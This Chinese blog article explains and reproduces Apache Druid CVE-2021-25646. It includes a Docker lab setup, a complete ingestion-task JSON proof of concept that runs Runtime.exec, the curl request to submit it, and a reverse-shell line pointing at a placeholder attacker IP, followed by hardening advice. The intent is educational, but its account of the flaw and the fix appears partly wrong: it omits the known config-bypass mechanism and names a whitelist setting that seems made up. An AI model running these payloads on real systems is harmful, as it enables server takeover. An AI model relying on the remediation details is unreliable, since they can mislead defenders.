Apache Druid CVE-2021-25646漏洞深度剖析:从JavaScript执行到RCE攻防实战
1. 项目概述:一次对Apache Druid核心安全机制的深度剖析
在数据驱动的时代,实时分析数据库Apache Druid因其出色的性能,被广泛应用于监控、广告技术、物联网等需要亚秒级查询响应的场景。然而,强大的能力往往伴随着复杂的内部机制,任何一处设计上的疏忽都可能成为攻击者眼中的“黄金入口”。CVE-2021-25646正是这样一个典型案例,它并非一个简单的配置错误或边界检查遗漏,而是触及了Druid处理用户输入的核心逻辑——JavaScript脚本执行功能。这个漏洞允许攻击者通过精心构造的HTTP请求,在Druid服务器上执行任意代码,从而完全控制服务器。今天,我们就从一个防御者和研究者的双重角度,深入拆解这个高危漏洞的原理、复现过程以及背后的安全启示。这不仅是一次漏洞复现的演练,更是一次理解现代数据系统安全模型、学习如何审计类似代码逻辑的绝佳机会。无论你是安全研究员、运维工程师还是后端开发者,理解这个漏洞的来龙去脉,都将对你构建和守护更安全的数据系统大有裨益。
2. 漏洞原理深度解析:当“功能”变成“后门”
要理解CVE-2021-25646,我们必须先走进Apache Druid的“数据加工车间”——它的索引服务(Indexing Service)和查询节点(Broker/Historical)。Druid为了提供灵活的数据转换能力,内置了一个名为“JavaScript”的数据转换功能模块。用户可以在数据摄取(Ingestion)阶段,通过提交一个包含JavaScript代码的JSON配置,来对数据进行过滤、变换等操作。
2.1 核心问题:沙箱的缺失与信任的滥用
这个功能的设计初衷是好的,但致命缺陷在于其执行环境。通常,在一个需要执行用户不可信代码的系统里,必须建立一个严格的“沙箱”(Sandbox)。这个沙箱会限制代码的访问权限,比如禁止访问文件系统、禁止执行系统命令、禁止进行网络连接等。Java平台本身提供了通过 SecurityManager 和 AccessController 来构建沙箱的机制。
然而,在受影响的Druid版本(具体是0.20.0及更低版本)中,这个JavaScript执行功能 没有启用任何Java安全管理器(SecurityManager) 。这意味着,用户提交的JavaScript代码在Druid的JVM进程中运行时,拥有与该进程 完全相同的权限 。如果Druid服务是以高权限(例如root或具有特权的服务账户)运行的,那么这些JavaScript代码就能“为所欲为”。
更关键的攻击向量在于 Java.type() 方法。Nashorn引擎(Java 8内置的JavaScript引擎)提供了这个强大的方法,允许JavaScript代码直接访问和实例化任何Java类。这就相当于在JavaScript和强大的Java原生API之间架起了一座没有任何安检的桥梁。
2.2 攻击链的构造:从JavaScript到系统命令
攻击者的思路非常清晰:利用 Java.type() 方法,调用能够执行系统命令的Java类。最直接的目标就是 java.lang.Runtime 。攻击者可以在JavaScript中写出如下逻辑:
var Runtime = Java.type('java.lang.Runtime');
var process = Runtime.getRuntime().exec('你的系统命令,如id或touch /tmp/pwned');
var inputStream = process.getInputStream();
// ... 读取命令执行结果
通过这种方式,任何能够在数据摄取配置中注入JavaScript的用户,都可以远程在服务器上执行命令。这个漏洞的CVSS评分高达8.8,属于高危漏洞,因为它直接导致了未经授权的远程代码执行,且无需任何前置身份认证(取决于Druid的部署配置,如果管理端口暴露则无需认证)。
注意 :这里解析原理是为了理解漏洞根源,所有相关代码和命令仅用于教育目的,严禁对未授权的系统进行测试。在实际生产环境中,任何尝试利用此漏洞的行为都是非法的。
3. 漏洞复现环境搭建与验证
为了真正理解漏洞的影响并验证修复措施的有效性,搭建一个受控的测试环境是必不可少的。我强烈建议只在隔离的虚拟机或容器内进行此类实验。
3.1 环境准备与目标部署
我选择使用Docker来快速搭建一个存在漏洞的Apache Druid环境,这能保证实验的隔离性和可重复性。
-
拉取漏洞版本镜像 :Apache Druid在Docker Hub上提供了官方镜像。我们需要指定一个存在漏洞的版本标签,例如
0.20.0。docker pull apache/druid:0.20.0 -
启动单机模式Druid集群 :Druid通常由多个组件构成(Coordinator, Overlord, Broker, Historical, MiddleManager等)。为了方便测试,我们使用其内置的单机模式(
micro-quickstart)启动所有组件。docker run -d --name druid-vulnerable \ -p 8888:8888 \ -p 8081:8081 \ -p 8082:8082 \ apache/druid:0.20.0 micro-quickstart这里映射了几个关键端口:
8888: Router/控制台端口,用于访问Web UI。8081: Coordinator端口。8082: Broker端口,也是我们提交数据摄取任务的主要入口。
-
等待服务就绪 :启动后需要等待一两分钟,让所有内部组件初始化完成。可以通过查看容器日志或尝试访问
http://localhost:8888来确认。
3.2 漏洞验证与无害化探测
在发起真正的攻击载荷前,我们可以先进行一个无害化的探测,验证JavaScript执行功能是否开启且未受限制。这有助于我们理解漏洞存在的上下文。
我们向Druid的Overlord节点(负责接收索引任务)提交一个简单的数据摄取任务(通过HTTP POST到 http://localhost:8081/druid/indexer/v1/task )。这个任务的配置中,我们在 transformSpec 的 filter 字段里嵌入一段仅做计算的JavaScript代码,例如判断1+1是否等于2。
如果任务被成功接收并执行(即使后续因为数据源不存在而失败),并且在任务日志中没有看到关于JavaScript被禁用的错误,那么就基本证实了该环境存在可被利用的条件。真正的攻击者会在此基础上,将无害的计算代码替换为恶意的命令执行代码。
实操心得 :在调试这类漏洞时,善用Druid任务的历史记录和日志查看功能(通过Web UI或API)至关重要。它不仅能告诉你任务是否被接受,还能显示执行过程中的标准输出和错误,这对于构造复杂的攻击链(比如需要回显命令结果时)非常有帮助。
4. 攻击载荷构造与执行过程拆解
理解了原理,搭建了环境,接下来我们深入核心,看看攻击者是如何一步步将恶意代码“喂”给Druid并成功执行的。请注意,以下所有步骤和代码仅用于在 完全受控、隔离的授权测试环境 中进行学习研究。
4.1 构造恶意数据摄取任务
攻击的入口点是Druid的数据摄取API。攻击者需要构造一个符合Druid规范的JSON任务提交对象。这个对象的核心在于 spec -> ioConfig -> inputSource (定义数据来源,可以是一个静态文件或HTTP端点)以及 spec -> dataSchema -> transformSpec (定义数据转换规则)。
漏洞利用的关键在于 transformSpec 中的 filter 字段。Druid允许在这里使用JavaScript函数来过滤行数据。我们在这个JavaScript函数中注入恶意代码。
一个极简的、用于验证漏洞存在的POC任务配置示例如下:
{
"type": "index_parallel",
"spec": {
"ioConfig": {
"type": "index_parallel",
"inputSource": {
"type": "inline",
"data": "{\"timestamp\":\"2021-01-01T00:00:00Z\", \"column\":\"test\"}"
},
"inputFormat": {"type": "json"}
},
"dataSchema": {
"dataSource": "exploit_test",
"timestampSpec": {"column": "timestamp", "format": "iso"},
"dimensionsSpec": {},
"transformSpec": {
"filter": {
"type": "javascript",
"function": "function(value) { var Runtime = Java.type('java.lang.Runtime'); Runtime.getRuntime().exec('touch /tmp/pwned_success'); return true; }",
"dimension": "column"
}
}
}
}
}
代码拆解 :
type: "javascript":声明使用JavaScript过滤器。function:这里就是恶意载荷。它定义了一个函数,该函数:- 使用
Java.type('java.lang.Runtime')获取Java的Runtime类引用。 - 调用
Runtime.getRuntime().exec(...)执行一个系统命令。这里示例是创建一个文件/tmp/pwned_success作为攻击成功的标志。 - 最后返回
true,让该行数据通过过滤(这无关紧要,因为我们的目的是执行命令,而非真正处理数据)。
- 使用
dimension: “column”指定了对哪个字段应用这个过滤函数。
4.2 发送攻击请求并观察结果
我们将上述JSON配置保存为文件 exploit.json ,然后使用 curl 命令将其提交给Druid Overlord的Task API。
curl -X POST -H 'Content-Type: application/json' \
http://localhost:8081/druid/indexer/v1/task \
-d @exploit.json
如果漏洞存在且请求格式正确,Druid会返回一个任务ID,例如 task-abcdefg_2023-... 。这表示任务已被接受并排队等待执行。
4.3 验证攻击是否成功
提交任务后,我们需要验证命令是否真的被执行了。有以下几种方式:
-
直接检查服务器文件系统 :如果我们对Druid容器有shell访问权限,可以直接进入容器检查文件是否被创建。
docker exec druid-vulnerable ls -la /tmp/pwned_success如果文件存在,则证明远程代码执行成功。
-
查看任务日志 :通过Druid的API或Web UI查看该任务ID的日志。在日志中,你可能会看到命令执行产生的输出或错误信息(如果命令有输出的话)。例如,可以将攻击载荷中的命令改为
id > /tmp/result.txt,然后查看/tmp/result.txt的内容。 -
反向Shell(高级利用) :在实际的攻击中,攻击者往往会尝试获取一个交互式的Shell。这可以通过在JavaScript中执行调用
bash -c或python -c等命令来实现,让受害服务器连接回攻击者控制的机器。例如,使用bash -i >& /dev/tcp/攻击者IP/端口 0>&1。 这需要网络可达且目标服务器有相应的工具 。
注意事项 :
- 命令执行的成功与否,很大程度上取决于Druid进程运行的用户权限。如果以非特权用户运行,可能无法在特定目录创建文件或执行某些特权操作。
- 命令执行是同步的,但Druid的任务处理是异步的。恶意代码会在数据索引任务启动后的某个时刻执行,而不是在API请求响应的瞬间。
- 在实际攻击中,攻击者会精心构造更隐蔽、功能更强大的载荷,例如下载并执行木马、挖掘加密货币、横向移动等。
5. 漏洞修复方案与安全加固实践
复现漏洞是为了更好地防御。对于这样一个高危漏洞,Apache官方迅速做出了响应。了解如何修复和加固,才是我们研究的最终目的。
5.1 官方修复方案解读
Apache Druid在后续版本中通过多个层面修复了此漏洞:
-
默认禁用JavaScript功能 :这是最根本的修复。在漏洞修复后的版本中,
druid.javascript.enabled这个配置项的默认值被设置为false。这意味着,除非管理员在配置文件中显式地将其设置为true,否则任何尝试使用JavaScript过滤器的请求都会被拒绝。 -
引入类白名单机制 :即使启用了JavaScript功能,Druid也引入了一个严格的类白名单机制。通过配置
druid.javascript.allowedPropertyKeys,管理员可以精确控制JavaScript代码可以通过Java.type()访问哪些Java类。默认的白名单非常小,绝对不包含java.lang.Runtime、java.lang.ProcessBuilder等危险类。 -
强化安全文档 :官方在文档中显著加强了关于启用JavaScript功能的风险警告,明确告知用户这将允许执行任意代码,必须确保仅在绝对可信的环境中使用。
5.2 生产环境加固操作指南
如果你正在运维Apache Druid,请立即采取以下行动:
-
立即升级 :将Druid集群升级到已修复该漏洞的版本。请查看Apache Druid的安全公告,确定你的版本是否受影响,并升级到推荐的安全版本。
-
检查配置 :即使升级后,也应检查你的运行时配置(
common.runtime.properties或环境变量)。确认druid.javascript.enabled是否为false。如果业务确实需要此功能,必须全面评估风险。# 确保此项为 false,这是最安全的设置 druid.javascript.enabled=false -
网络层隔离 :遵循最小权限原则。Druid的管理端口(如Overlord的8081,Coordinator的8081) 绝不应该 暴露在公网或不可信的网络环境中。应通过防火墙或安全组策略,严格限制只有内部管理网络或跳板机可以访问这些端口。面向公网或业务方的只有Router/Broker的查询端口。
-
权限最小化 :永远不要以root用户身份运行Druid进程。创建一个专用的、低权限的系统用户(如
druid)来运行服务。这能在即使发生漏洞利用时,限制攻击者造成的破坏范围(例如,无法修改系统关键文件)。 -
启用SecurityManager(高级) :对于安全要求极高的环境,可以考虑为Druid的JVM启用自定义的Java SecurityManager策略文件,从JVM层面严格限制所有代码(包括用户提交的JavaScript)的权限。但这需要深厚的JVM安全知识和细致的策略配置,否则可能导致服务自身功能异常。
5.3 长期安全运维思考
CVE-2021-25646给我们的启示远不止于修复一个配置项:
- 功能与安全的平衡 :任何提供用户自定义代码执行的功能(无论是JavaScript、UDF、还是插件)都是极端危险的。在设计和评审这类功能时,必须将“默认安全”作为第一原则,即默认关闭,并提供强大的沙箱隔离。
- 依赖项安全 :漏洞出现在Nashorn引擎与Druid的集成方式上。这提醒我们要关注所使用组件(尤其是脚本引擎、解析器、序列化库)的安全历史和最佳实践。
- 纵深防御 :不要依赖单一的安全措施。即使应用层修复了漏洞,网络层的隔离、运行时的权限控制、完善的日志审计和入侵检测系统,共同构成了纵深防御体系,能在某一层失效时提供额外的保护。
- 持续监控与应急响应 :建立对Druid任务API的异常访问监控(例如,短时间内大量提交任务、任务内容异常)。一旦发现疑似攻击,能快速定位、隔离和响应。
6. 从防御者视角看漏洞挖掘与代码审计
作为一名安全从业者,我们不仅要会复现已知漏洞,更应该学习如何发现未知漏洞。CVE-2021-25646的挖掘思路,为我们审计类似系统提供了清晰的路径。
6.1 漏洞挖掘方法论
-
入口点测绘 :首先,全面梳理目标系统(如Druid)的所有对外接口(HTTP API、RPC接口、配置文件)。特别关注那些接受复杂参数、尤其是允许指定“类名”、“函数名”、“脚本内容”的接口。数据摄取(
/druid/indexer/v1/task)、查询(/druid/v2)等都是高危入口。 -
功能点分析 :仔细阅读官方文档,寻找任何关于“用户自定义函数(UDF)”、“脚本”、“过滤器”、“转换器”的描述。这些往往是代码执行的潜在通道。Druid的JavaScript过滤器功能在文档中就有明确说明,这使其成为首要审计目标。
-
代码跟踪与沙箱评估 :这是最核心的一步。找到对应功能的代码实现(在Druid中,可以搜索
JavaScriptFilter、JavaScriptDimFilter等类)。关键问题是:- 用户输入的脚本在哪里被解析和执行?(例如,使用的是
javax.script.ScriptEngine)。 - 执行引擎是什么?(Nashorn, Rhino, GraalVM JS等)。
- 有没有设置
SecurityManager或AccessControlContext? 查看代码中是否有AccessController.doPrivileged或SecurityManager相关的调用。如果完全没有,这就是一个巨大的红旗。 - 有没有类/方法黑名单或白名单?检查是否有对
Java.type、Java.extend等桥接方法的限制。
- 用户输入的脚本在哪里被解析和执行?(例如,使用的是
-
构造POC验证 :在隔离环境中,尝试构造一个最简单的POC,比如执行一个无害的命令(
echo、创建空文件)。从简单到复杂,逐步验证漏洞是否存在以及利用的限制条件(如权限、字符过滤等)。
6.2 针对“用户自定义代码执行”的通用审计清单
当你审计任何一个允许用户提交代码的系统时,可以对照以下清单:
- [ ] 默认状态 :该功能是否默认启用?安全的设计应是“默认禁用”。
- [ ] 沙箱机制 :是否存在一个有效的、经过实战检验的沙箱?(例如,Java的SecurityManager + Policy文件,或类似Google Caja的隔离方案)。
- [ ] 语言特性限制 :是否禁用了脚本语言中访问底层系统的危险特性?(例如,在JavaScript中禁用
Java.type,在Python中禁用__import__('os').system)。 - [ ] 资源限制 :是否对脚本的执行时间、内存占用、CPU时间进行了限制?防止拒绝服务攻击。
- [ ] 输入过滤与验证 :是否对用户输入的脚本内容进行了严格的语法检查或关键字过滤?(注意,过滤往往容易被绕过,沙箱才是根本)。
- [ ] 权限上下文 :脚本执行时使用的操作系统用户和JVM权限是什么?是否遵循了最小权限原则?
6.3 工具辅助与动态测试
除了代码审计,动态测试也至关重要:
- 模糊测试(Fuzzing) :向任务提交API发送大量随机、畸形或包含危险关键词(如
Runtime,exec,ProcessBuilder)的JSON负载,观察系统的响应和日志,看是否有异常行为或未处理的错误信息泄露。 - 流量拦截与重放 :使用Burp Suite等工具拦截正常的数据摄取请求,然后修改其中的
transformSpec部分,插入测试载荷进行重放。 - RASP(运行时应用自我保护) :在测试环境中部署RASP探针,它可以监控应用在运行时对敏感API(如
Runtime.exec())的调用,即使漏洞利用成功,RASP也可能阻断或告警。
CVE-2021-25646是一个教科书级别的案例,它清晰地展示了“功能滥用”导致的远程代码执行。从防御的角度看,它敦促我们重新审视所有“灵活”功能背后的安全代价;从攻击的角度看(在授权测试中),它提供了一套完整的从信息收集、入口定位、原理分析到载荷构造的方法论。真正的安全能力,就建立在这种对攻防两端的深刻理解之上。在运维像Druid这样强大的数据系统时,时刻保持对安全配置的警惕,定期进行安全审计和升级,是守护数据资产不可或缺的职责。
更多推荐

所有评论(0)